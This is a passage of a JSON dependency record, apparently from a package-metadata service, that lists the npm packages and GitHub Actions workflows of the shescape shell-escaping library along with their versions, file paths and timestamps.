ackage_name":"readdirp","ecosystem":"npm","requirements":"3.6.0","direct":false,"kind":"development","optional":false},{"id":7671536885,"package_name":"refa","ecosystem":"npm","requirements":"0.9.1","direct":false,"kind":"development","optional":false},{"id":7671536886,"package_name":"reflect-metadata","ecosystem":"npm","requirements":"0.1.13","direct":false,"kind":"development","optional":false},{"id":7671536887,"package_name":"regexp-ast-analysis","ecosystem":"npm","requirements":"0.5.1","direct":false,"kind":"development","optional":false},{"id":7671536889,"package_name":"regexp.prototype.flags","ecosystem":"npm","requirements":"1.4.3","direct":false,"kind":"development","optional":false},{"id":7671536890,"package_name":"regexpp","ecosystem":"npm","requirements":"3.2.0","direct":false,"kind":"development","optional":false},{"id":7671536891,"package_name":"release-zalgo","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7671536892,"package_name":"require-directory","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":7671536894,"package_name":"require-from-string","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"development","optional":false},{"id":7671536896,"package_name":"require-main-filename","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7671536898,"package_name":"require-package-name","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":7671536905,"package_name":"resolve","ecosystem":"npm","requirements":"1.22.0","direct":false,"kind":"development","optional":false},{"id":7671536906,"package_name":"resolve-cwd","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671536907,"package_name":"resolve-from","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671536908,"package_name":"restore-cursor","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":7671536909,"package_name":"retry","ecosystem":"npm","requirements":"0.12.0","direct":false,"kind":"development","optional":false},{"id":7671536910,"package_name":"reusify","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":7671536911,"package_name":"rfdc","ecosystem":"npm","requirements":"1.3.0","direct":false,"kind":"development","optional":false},{"id":7671536912,"package_name":"rimraf","ecosystem":"npm","requirements":"3.0.2","direct":false,"kind":"development","optional":false},{"id":7671536913,"package_name":"rollup","ecosystem":"npm","requirements":"3.15.0","direct":false,"kind":"development","optional":false},{"id":7671536914,"package_name":"run-async","ecosystem":"npm","requirements":"2.4.1","direct":false,"kind":"development","optional":false},{"id":7671536915,"package_name":"run-con","ecosystem":"npm","requirements":"1.2.11","direct":false,"kind":"development","optional":false},{"id":7671536919,"package_name":"run-parallel","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":7671536920,"package_name":"rxjs","ecosystem":"npm","requirements":"7.8.0","direct":false,"kind":"development","optional":false},{"id":7671536921,"package_name":"sade","ecosystem":"npm","requirements":"1.8.1","direct":false,"kind":"development","optional":false},{"id":7671536922,"package_name":"safe-buffer","ecosystem":"npm","requirements":"5.1.2","direct":false,"kind":"development","optional":false},{"id":7671536923,"package_name":"safer-buffer","ecosystem":"npm","requirements":"2.1.2","direct":false,"kind":"development","optional":false},{"id":7671536924,"package_name":"sass","ecosystem":"npm","requirements":"1.52.3","direct":false,"kind":"development","optional":false},{"id":7671536925,"package_name":"scslre","ecosystem":"npm","requirements":"0.1.6","direct":false,"kind":"development","optional":false},{"id":7671536926,"package_name":"regexp-ast-analysis","ecosystem":"npm","requirements":"0.2.4","direct":false,"kind":"development","optional":false},{"id":7671536927,"package_name":"scss-parser","ecosystem":"npm","requirements":"1.0.5","direct":false,"kind":"development","optional":false},{"id":7671536928,"package_name":"semver","ecosystem":"npm","requirements":"7.3.8","direct":false,"kind":"development","optional":false},{"id":7671536929,"package_name":"semver-compare","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7671536930,"package_name":"serialize-error","ecosystem":"npm","requirements":"7.0.1","direct":false,"kind":"development","optional":false},{"id":7671536931,"package_name":"type-fest","ecosystem":"npm","requirements":"0.13.1","direct":false,"kind":"development","optional":false},{"id":7671536932,"package_name":"serialize-javascript","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":7671536933,"package_name":"set-blocking","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7671536934,"package_name":"shebang-command","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7671536935,"package_name":"shebang-regex","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671536936,"package_name":"side-channel","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":7671536937,"package_name":"signal-exit","ecosystem":"npm","requirements":"3.0.7","direct":false,"kind":"development","optional":false},{"id":7671536938,"package_name":"simple-git","ecosystem":"npm","requirements":"3.16.0","direct":false,"kind":"development","optional":false},{"id":7671536939,"package_name":"sinon","ecosystem":"npm","requirements":"15.0.1","direct":false,"kind":"development","optional":false},{"id":7671536940,"package_name":"slash","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671536941,"package_name":"slice-ansi","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":7671536942,"package_name":"smart-buffer","ecosystem":"npm","requirements":"4.2.0","direct":false,"kind":"development","optional":false},{"id":7671536943,"package_name":"socks","ecosystem":"npm","requirements":"2.7.1","direct":false,"kind":"development","optional":false},{"id":7671536944,"package_name":"socks-proxy-agent","ecosystem":"npm","requirements":"7.0.0","direct":false,"kind":"development","optional":false},{"id":7671536945,"package_name":"source-map","ecosystem":"npm","requirements":"0.7.3","direct":false,"kind":"development","optional":false},{"id":7671536946,"package_name":"source-map-js","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":7671536947,"package_name":"sourcemap-codec","ecosystem":"npm","requirements":"1.4.8","direct":false,"kind":"development","optional":false},{"id":7671536948,"package_name":"spawn-wrap","ecosystem":"npm","requirements":"1.4.3","direct":false,"kind":"development","optional":false},{"id":7671536950,"package_name":"mkdirp","ecosystem":"npm","requirements":"0.5.6","direct":false,"kind":"development","optional":false},{"id":7671536951,"package_name":"spdx-compare","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7671536954,"package_name":"spdx-correct","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"development","optional":false},{"id":7671536956,"package_name":"spdx-exceptions","ecosystem":"npm","requirements":"2.3.0","direct":false,"kind":"development","optional":false},{"id":7671536957,"package_name":"spdx-expression-parse","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"development","optional":false},{"id":7671536958,"package_name":"spdx-expression-validate","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7671536963,"package_name":"spdx-license-ids","ecosystem":"npm","requirements":"3.0.11","direct":false,"kind":"development","optional":false},{"id":7671536964,"package_name":"spdx-osi","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671536968,"package_name":"spdx-ranges","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":7671537014,"package_name":"spdx-whitelisted","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7671537016,"package_name":"sprintf-js","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"development","optional":false},{"id":7671537017,"package_name":"ssri","ecosystem":"npm","requirements":"10.0.0","direct":false,"kind":"development","optional":false},{"id":7671537019,"package_name":"stack-utils","ecosystem":"npm","requirements":"2.0.6","direct":false,"kind":"development","optional":false},{"id":7671537020,"package_name":"escape-string-regexp","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7671537022,"package_name":"streamroller","ecosystem":"npm","requirements":"3.1.3","direct":false,"kind":"development","optional":false},{"id":7671537024,"package_name":"string_decoder","ecosystem":"npm","requirements":"1.3.0","direct":false,"kind":"development","optional":false},{"id":7671537026,"package_name":"string-width","ecosystem":"npm","requirements":"5.1.2","direct":false,"kind":"development","optional":false},{"id":7671537027,"package_name":"strip-ansi","ecosystem":"npm","requirements":"7.0.1","direct":false,"kind":"development","optional":false},{"id":7671537029,"package_name":"strip-bom","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671537030,"package_name":"strip-final-newline","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671537032,"package_name":"strip-json-comments","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"development","optional":false},{"id":7671537033,"package_name":"supertap","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"development","optional":false},{"id":7671537092,"package_name":"supports-color","ecosystem":"npm","requirements":"7.2.0","direct":false,"kind":"development","optional":false},{"id":7671537093,"package_name":"supports-preserve-symlinks-flag","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7671537094,"package_name":"table","ecosystem":"npm","requirements":"6.8.0","direct":false,"kind":"development","optional":false},{"id":7671537095,"package_name":"slice-ansi","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671537096,"package_name":"tar","ecosystem":"npm","requirements":"6.1.12","direct":false,"kind":"development","optional":false},{"id":7671537097,"package_name":"temp-dir","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671537098,"package_name":"term-size","ecosystem":"npm","requirements":"2.2.1","direct":false,"kind":"development","optional":false},{"id":7671537099,"package_name":"test-exclude","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":7671537100,"package_name":"text-table","ecosystem":"npm","requirements":"0.2.0","direct":false,"kind":"development","optional":false},{"id":7671537101,"package_name":"through","ecosystem":"npm","requirements":"2.3.8","direct":false,"kind":"development","optional":false},{"id":7671537102,"package_name":"time-zone","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7671537108,"package_name":"tmp","ecosystem":"npm","requirements":"0.0.33","direct":false,"kind":"development","optional":false},{"id":7671537109,"package_name":"to-fast-properties","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7671537111,"package_name":"to-regex-range","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"development","optional":false},{"id":7671537113,"package_name":"tree-kill","ecosystem":"npm","requirements":"1.2.2","direct":false,"kind":"development","optional":false},{"id":7671537115,"package_name":"treeverse","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671537128,"package_name":"tslib","ecosystem":"npm","requirements":"2.4.1","direct":false,"kind":"development","optional":false},{"id":7671537130,"package_name":"tsutils","ecosystem":"npm","requirements":"3.21.0","direct":false,"kind":"development","optional":false},{"id":7671537133,"package_name":"tslib","ecosystem":"npm","requirements":"1.14.1","direct":false,"kind":"development","optional":false},{"id":7671537134,"package_name":"tunnel","ecosystem":"npm","requirements":"0.0.6","direct":false,"kind":"development","optional":false},{"id":7671537136,"package_name":"type-check","ecosystem":"npm","requirements":"0.3.2","direct":false,"kind":"development","optional":false},{"id":7671537138,"package_name":"type-detect","ecosystem":"npm","requirements":"4.0.8","direct":false,"kind":"development","optional":false},{"id":7671537139,"package_name":"type-fest","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"development","optional":false},{"id":7671537141,"package_name":"typed-inject","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"development","optional":false},{"id":7671537149,"package_name":"typed-rest-client","ecosystem":"npm","requirements":"1.8.6","direct":false,"kind":"development","optional":false},{"id":7671537165,"package_name":"typescript","ecosystem":"npm","requirements":"4.7.3","direct":false,"kind":"development","optional":false},{"id":7671537167,"package_name":"uc.micro","ecosystem":"npm","requirements":"1.0.6","direct":false,"kind":"development","optional":false},{"id":7671537169,"package_name":"underscore","ecosystem":"npm","requirements":"1.13.3","direct":false,"kind":"development","optional":false},{"id":7671537170,"package_name":"unimported","ecosystem":"npm","requirements":"1.23.0","direct":false,"kind":"development","optional":false},{"id":7671537176,"package_name":"@babel/code-frame","ecosystem":"npm","requirements":"7.12.11","direct":false,"kind":"development","optional":false},{"id":7671537179,"package_name":"@eslint/eslintrc","ecosystem":"npm","requirements":"0.4.3","direct":false,"kind":"development","optional":false},{"id":7671537180,"package_name":"@humanwhocodes/config-array","ecosystem":"npm","requirements":"0.5.0","direct":false,"kind":"development","optional":false},{"id":7671537182,"package_name":"acorn","ecosystem":"npm","requirements":"7.4.1","direct":false,"kind":"development","optional":false},{"id":7671537184,"package_name":"eslint","ecosystem":"npm","requirements":"7.32.0","direct":false,"kind":"development","optional":false},{"id":7671537185,"package_name":"eslint-scope","ecosystem":"npm","requirements":"5.1.1","direct":false,"kind":"development","optional":false},{"id":7671537187,"package_name":"eslint-utils","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":7671537189,"package_name":"eslint-visitor-keys","ecosystem":"npm","requirements":"1.3.0","direct":false,"kind":"development","optional":false},{"id":7671537190,"package_name":"espree","ecosystem":"npm","requirements":"7.3.1","direct":false,"kind":"development","optional":false},{"id":7671537192,"package_name":"find-up","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"development","optional":false},{"id":7671537193,"package_name":"globals","ecosystem":"npm","requirements":"13.17.0","direct":false,"kind":"development","optional":false},{"id":7671537195,"package_name":"ignore","ecosystem":"npm","requirements":"4.0.6","direct":false,"kind":"development","optional":false},{"id":7671537197,"package_name":"locate-path","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":7671537198,"package_name":"p-locate","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"development","optional":false},{"id":7671537199,"package_name":"read-pkg","ecosystem":"npm","requirements":"5.2.0","direct":false,"kind":"development","optional":false},{"id":7671537201,"package_name":"read-pkg-up","ecosystem":"npm","requirements":"7.0.1","direct":false,"kind":"development","optional":false},{"id":7671537202,"package_name":"type-fest","ecosystem":"npm","requirements":"0.6.0","direct":false,"kind":"development","optional":false},{"id":7671537204,"package_name":"type-fest","ecosystem":"npm","requirements":"0.8.1","direct":false,"kind":"development","optional":false},{"id":7671537205,"package_name":"unique-filename","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671537207,"package_name":"unique-slug","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671537209,"package_name":"universalify","ecosystem":"npm","requirements":"0.1.2","direct":false,"kind":"development","optional":false},{"id":7671537210,"package_name":"update-browserslist-db","ecosystem":"npm","requirements":"1.0.10","direct":false,"kind":"development","optional":false},{"id":7671537212,"package_name":"uri-js","ecosystem":"npm","requirements":"4.4.1","direct":false,"kind":"development","optional":false},{"id":7671537214,"package_name":"util-deprecate","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":7671537216,"package_name":"uuid","ecosystem":"npm","requirements":"3.4.0","direct":false,"kind":"development","optional":false},{"id":7671537217,"package_name":"v8-compile-cache","ecosystem":"npm","requirements":"2.3.0","direct":false,"kind":"development","optional":false},{"id":7671537219,"package_name":"v8-to-istanbul","ecosystem":"npm","requirements":"9.0.0","direct":false,"kind":"development","optional":false},{"id":7671537221,"package_name":"validate-npm-package-license","ecosystem":"npm","requirements":"3.0.4","direct":false,"kind":"development","optional":false},{"id":7671537223,"package_name":"validate-npm-package-name","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":7671537224,"package_name":"vlq","ecosystem":"npm","requirements":"0.2.3","direct":false,"kind":"development","optional":false},{"id":7671537226,"package_name":"vscode-json-languageservice","ecosystem":"npm","requirements":"4.2.1","direct":false,"kind":"development","optional":false},{"id":7671537244,"package_name":"vscode-languageserver-textdocument","ecosystem":"npm","requirements":"1.0.7","direct":false,"kind":"development","optional":false},{"id":7671537259,"package_name":"vscode-languageserver-types","ecosystem":"npm","requirements":"3.17.2","direct":false,"kind":"development","optional":false},{"id":7671537268,"package_name":"vscode-nls","ecosystem":"npm","requirements":"5.2.0","direct":false,"kind":"development","optional":false},{"id":7671537274,"package_name":"vscode-uri","ecosystem":"npm","requirements":"3.0.6","direct":false,"kind":"development","optional":false},{"id":7671537286,"package_name":"walk-up-path","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7671537306,"package_name":"wcwidth","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7671537308,"package_name":"weapon-regex","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"development","optional":false},{"id":7671537325,"package_name":"well-known-symbols","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7671537333,"package_name":"which","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"runtime","optional":false},{"id":7671537335,"package_name":"which-module","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7671537337,"package_name":"wide-align","ecosystem":"npm","requirements":"1.1.5","direct":false,"kind":"development","optional":false},{"id":7671537339,"package_name":"word-wrap","ecosystem":"npm","requirements":"1.2.3","direct":false,"kind":"development","optional":false},{"id":7671537341,"package_name":"workerpool","ecosystem":"npm","requirements":"6.2.0","direct":false,"kind":"development","optional":false},{"id":7671537343,"package_name":"wrap-ansi","ecosystem":"npm","requirements":"7.0.0","direct":false,"kind":"development","optional":false},{"id":7671537345,"package_name":"wrappy","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":7671537347,"package_name":"write-file-atomic","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":7671537348,"package_name":"y18n","ecosystem":"npm","requirements":"5.0.8","direct":false,"kind":"development","optional":false},{"id":7671537351,"package_name":"yallist","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671537352,"package_name":"yaml","ecosystem":"npm","requirements":"1.10.2","direct":false,"kind":"development","optional":false},{"id":7671537353,"package_name":"yaml-eslint-parser","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"development","optional":false},{"id":7671537355,"package_name":"yaml","ecosystem":"npm","requirements":"2.1.3","direct":false,"kind":"development","optional":false},{"id":7671537356,"package_name":"yargs","ecosystem":"npm","requirements":"17.6.2","direct":false,"kind":"development","optional":false},{"id":7671537358,"package_name":"yargs-parser","ecosystem":"npm","requirements":"20.2.9","direct":false,"kind":"development","optional":false},{"id":7671537359,"package_name":"yargs-unparser","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7671537362,"package_name":"cliui","ecosystem":"npm","requirements":"8.0.1","direct":false,"kind":"development","optional":false},{"id":7671537363,"package_name":"yargs-parser","ecosystem":"npm","requirements":"21.1.1","direct":false,"kind":"development","optional":false},{"id":7671537365,"package_name":"yocto-queue","ecosystem":"npm","requirements":"0.1.0","direct":false,"kind":"development","optional":false}]},{"ecosystem":"npm","filepath":"package.json","sha":null,"kind":"manifest","created_at":"2023-02-15T01:16:58.250Z","updated_at":"2023-02-15T01:16:58.250Z","repository_link":"https://github.com/ericcornelissen/shescape/blob/main/package.json","dependencies":[{"id":7671537868,"package_name":"which","ecosystem":"npm","requirements":"^2.0.0","direct":true,"kind":"runtime","optional":false},{"id":7671537869,"package_name":"@ericcornelissen/eslint-plugin-top","ecosystem":"npm","requirements":"0.3.0","direct":true,"kind":"development","optional":false},{"id":7671537870,"package_name":"@fast-check/ava","ecosystem":"npm","requirements":"1.1.2","direct":true,"kind":"development","optional":false},{"id":7671537871,"package_name":"@stryker-mutator/core","ecosystem":"npm","requirements":"6.3.1","direct":true,"kind":"development","optional":false},{"id":7671537872,"package_name":"ava","ecosystem":"npm","requirements":"5.1.1","direct":true,"kind":"development","optional":false},{"id":7671537873,"package_name":"benchmark","ecosystem":"npm","requirements":"2.1.4","direct":true,"kind":"development","optional":false},{"id":7671537874,"package_name":"c8","ecosystem":"npm","requirements":"7.12.0","direct":true,"kind":"development","optional":false},{"id":7671537875,"package_name":"depcheck","ecosystem":"npm","requirements":"1.4.3","direct":true,"kind":"development","optional":false},{"id":7671537876,"package_name":"dotenv","ecosystem":"npm","requirements":"16.0.1","direct":true,"kind":"development","optional":false},{"id":7671537877,"package_name":"eslint","ecosystem":"npm","requirements":"8.33.0","direct":true,"kind":"development","optional":false},{"id":7671537878,"package_name":"eslint-plugin-ava","ecosystem":"npm","requirements":"14.0.0","direct":true,"kind":"development","optional":false},{"id":7671537879,"package_name":"eslint-plugin-jsdoc","ecosystem":"npm","requirements":"40.0.0","direct":true,"kind":"development","optional":false},{"id":7671537880,"package_name":"eslint-plugin-json","ecosystem":"npm","requirements":"3.1.0","direct":true,"kind":"development","optional":false},{"id":7671537881,"package_name":"eslint-plugin-regexp","ecosystem":"npm","requirements":"1.12.0","direct":true,"kind":"development","optional":false},{"id":7671537882,"package_name":"eslint-plugin-yml","ecosystem":"npm","requirements":"1.3.0","direct":true,"kind":"development","optional":false},{"id":7671537883,"package_name":"fast-check","ecosystem":"npm","requirements":"3.6.3","direct":true,"kind":"development","optional":false},{"id":7671537884,"package_name":"husky","ecosystem":"npm","requirements":"8.0.3","direct":true,"kind":"development","optional":false},{"id":7671537885,"package_name":"is-ci","ecosystem":"npm","requirements":"3.0.1","direct":true,"kind":"development","optional":false},{"id":7671537886,"package_name":"jsfuzz","ecosystem":"npm","requirements":"1.0.15","direct":true,"kind":"development","optional":false},{"id":7671537887,"package_name":"licensee","ecosystem":"npm","requirements":"10.0.0","direct":true,"kind":"development","optional":false},{"id":7671537888,"package_name":"markdownlint-cli","ecosystem":"npm","requirements":"0.33.0","direct":true,"kind":"development","optional":false},{"id":7671537889,"package_name":"mocha","ecosystem":"npm","requirements":"9.2.2","direct":true,"kind":"development","optional":false},{"id":7671537890,"package_name":"prettier","ecosystem":"npm","requirements":"2.8.4","direct":true,"kind":"development","optional":false},{"id":7671537891,"package_name":"publint","ecosystem":"npm","requirements":"0.1.9","direct":true,"kind":"development","optional":false},{"id":7671537892,"package_name":"rollup","ecosystem":"npm","requirements":"3.15.0","direct":true,"kind":"development","optional":false},{"id":7671537893,"package_name":"sinon","ecosystem":"npm","requirements":"15.0.1","direct":true,"kind":"development","optional":false},{"id":7671537894,"package_name":"unimported","ecosystem":"npm","requirements":"1.23.0","direct":true,"kind":"development","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/audit-dev.yml","sha":null,"kind":"manifest","created_at":"2023-09-22T02:13:37.685Z","updated_at":"2023-09-22T02:13:37.685Z","repository_link":"https://github.com/ericcornelissen/shescape/blob/main/.github/workflows/audit-dev.yml","dependencies":[{"id":13862341347,"package_name":"step-security/harden-runner","ecosystem":"actions","requirements":"8ca2b8b2ece13480cda6dacd3511b49857a23c09","direct":true,"kind":"composite","optional":false},{"id":13862341348,"package_name":"actions/checkout","ecosystem":"actions","requirements":"3df4ab11eba7bda6032a0b82a6bb43b11571feac","direct":true,"kind":"composite","optional":false},{"id":13862341349,"package_name":"actions/setup-node","ecosystem":"actions","requirements":"5e21ff4d9bc1a8cf6de233a3057d20ec6b3fb69d","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/audit-release.yml","sha":null,"kind":"manifest","created_at":"2023-09-22T02:13:37.925Z","updated_at":"2023-09-22T02:13:37.925Z","repository_link":"https://github.com/ericcornelissen/shescape/blob/main/.github/workflows/audit-release.yml","dependencies":[{"id":13862341355,"package_name":"step-security/harden-runner","ecosystem":"actions","requirements":"8ca2b8b2ece13480cda6dacd3511b49857a23c09","direct":true,"kind":"composite","optional":false},{"id":13862341356,"package_name":"actions/checkout","ecosystem":"actions","requirements":"3df4ab11eba7bda6032a0b82a6bb43b11571feac","direct":true,"kind":"composite","optional":false},{"id":13862341357,"package_name":"actions/setup-node","ecosystem":"actions","requirements":"5e21ff4d9bc1a8cf6de233a3057d20ec6b3fb69d","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/fuzz-bash.yml","sha":null,"kind":"manifest","created_at":"2023-09-22T02:13:39.850Z","updated_at":"2023-09-22T02:13:39.850Z","repository_link":"https://github.com/ericcornelissen/shescape/blob/main/.github/workflows/fuzz-bash.yml","dependencies":[]},{"ecosystem":"actions","filepath":".github/workflows/fuzz-cmd.yml","sha":null,"kind":"manifest","created_at":"2023-09-22T02:13:40.164Z","updated_at":"2023-09-22T02:13:40.164Z","repository_link":"https://github.com/ericcornelissen/shescape/blob/main/.github/workflows/fuzz-cmd.yml","dependencies":[]},{"ecosystem":"actions","filepath":".github/workflows/fuzz-csh.yml","sha":null,"kind":"manifest","created_at":"2023-09-22T02:13:40.539Z","updated_at":"2023-09-22T02:13:40.539Z","repository_link":"https://github.com/ericcornelissen/shescape/blob/main/.github/workflows/fuzz-csh.yml","dependencies":[]},{"ecosystem":"actions","filepath":".github/workflows/fuzz-dash.yml","sha":null,"kind":"manifest","created_at":"2023-09-22T02:13:40.847Z","updated_at":"2023-09-22T02:13:40.847Z","repository_link":"https://github.com/ericcornelissen/shescape/blob/main/.github/workflows/fuzz-dash.yml","dependencies":[]},{"ecosystem":"actions","filepath":".github/workflows/fuzz-no-shell.yml","sha":null,"kind":"manifest","created_at":"2023-09-22T02:13:41.213Z","updated_at":"2023-09-22T02:13:41.213Z","repository_link":"https://github.com/ericcornelissen/shescape/blob/main/.github/workflows/fuzz-no-shell.yml","dependencies":[]},{"ecosystem":"actions","filepath":".github/workflows/fuzz-powershell.yml","sha":null,"kind":"manifest","created_at":"2023-09-22T02:13:41.370Z","updated_at":"2023-09-22T02:13:41.370Z","repository_link":"https://github.com/ericcornelissen/shescape/blob/main/.github/workflows/fuzz-powershell.yml","dependencies":[]},{"ecosystem":"actions","filepath":".github/workflows/fuzz-zsh.yml","sha":null,"kind":"manifest","created_at":"2023-09-22T02:13:41.641Z","updated_at":"2023-09-22T02:13:41.641Z","repository_link":"https://github.com/ericcornelissen/shescape/blob/main/.github/workflows/fuzz-zsh.yml","dependencies":[]},{"ecosystem":"actions","filepath":".github/actions/ghasum/action.yml","sha":null,"kind":"manifest","created_at":"2026-08-06T09:30:26.841Z","updated_at":"2026-08-06T09:30:26.841Z","repository_link":"https://github.com/ericcornelissen/shescape/blob/main/.github/actions/ghasum/action.yml","dependencies":[{"id":25908730791,"package_name":"main.js","ecosystem":"actions","requirements":"node24","direct":true,"kind":"javascript","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/dependabot.yml","sha":null,"kind":"manifest","created_at":"2026-08-06T09:30:26.993Z","updated_at":"2026-08-06T09:30:26.993Z","repository_link":"https://github.com/ericcornelissen/shescape/blob/main/.github/workflows/dependabot.yml","dependencies":[{"id":25908731583,"package_name":"$/.github/actions/ghasum","ecosystem":"actions","requirements":"*","direct":true,"kind":"composite","optional":false},{"id":25908732207,"package_name":"actions/create-github-app-token","ecosystem":"actions","requirements":"1b10c78c7865c340bc4f6099eb2f838309f1e8c3","direct":true,"kind":"composite","optional":false},{"id":25908732208,"package_name":"actions/checkout","ecosystem":"actions","requirements":"9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0","direct":true,"kind":"composite","optional":false},{"id":25908732209,"package_name":"stefanzweifel/git-auto-commit-action","ecosystem":"actions","requirements":"4a55954c782fc1ea30b9056cd3e7a2b40ca8887d","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/weekly.yml","sha":null,"kind":"manifest","created_at":"2026-08-06T09:30:27.518Z","updated_at":"2026-08-06T09:30:27.518Z","repository_link":"https://github.com/ericcornelissen/shescape/blob/main/.github/workflows/weekly.yml","dependencies":[{"id":25908734038,"package_name":"$/.github/actions/ghasum","ecosystem":"actions","requirements":"*","direct":true,"kind":"composite","optional":false},{"id":25908734039,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v7.0.0","direct":true,"kind":"composite","optional":false},{"id":25908734040,"package_name":"actions/setup-node","ecosystem":"actions","requirements":"v7.0.0","direct":true,"kind":"composite","optional":false},{"id":25908734041,"package_name":"actions/create-github-app-token","ecosystem":"actions","requirements":"v3.1.1","direct":true,"kind":"composite","optional":false},{"id":25908734042,"package_name":"peter-evans/create-pull-request","ecosystem":"actions","requirements":"v8.1.1","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/fuzz-busybox.yml","sha":null,"kind":"manifest","created_at":"2026-08-06T09:30:27.236Z","updated_at":"2026-08-06T09:30:27.236Z","repository_link":"https://github.com/ericcornelissen/shescape/blob/main/.github/workflows/fuzz-busybox.yml","dependencies":[]}],"score":22.56846273127002,"created_at":"2026-05-08T13:41:55.788Z","updated_at":"2026-08-25T18:42:56.333Z","avatar_url":"https://github.com/ericcornelissen.png","language":"JavaScript","codemeta":null,"publiccode":null,"project_url":"https://summary.ecosyste.ms/api/v1/projects/371991","html_url":"https://summary.ecosyste.ms/projects/371991"}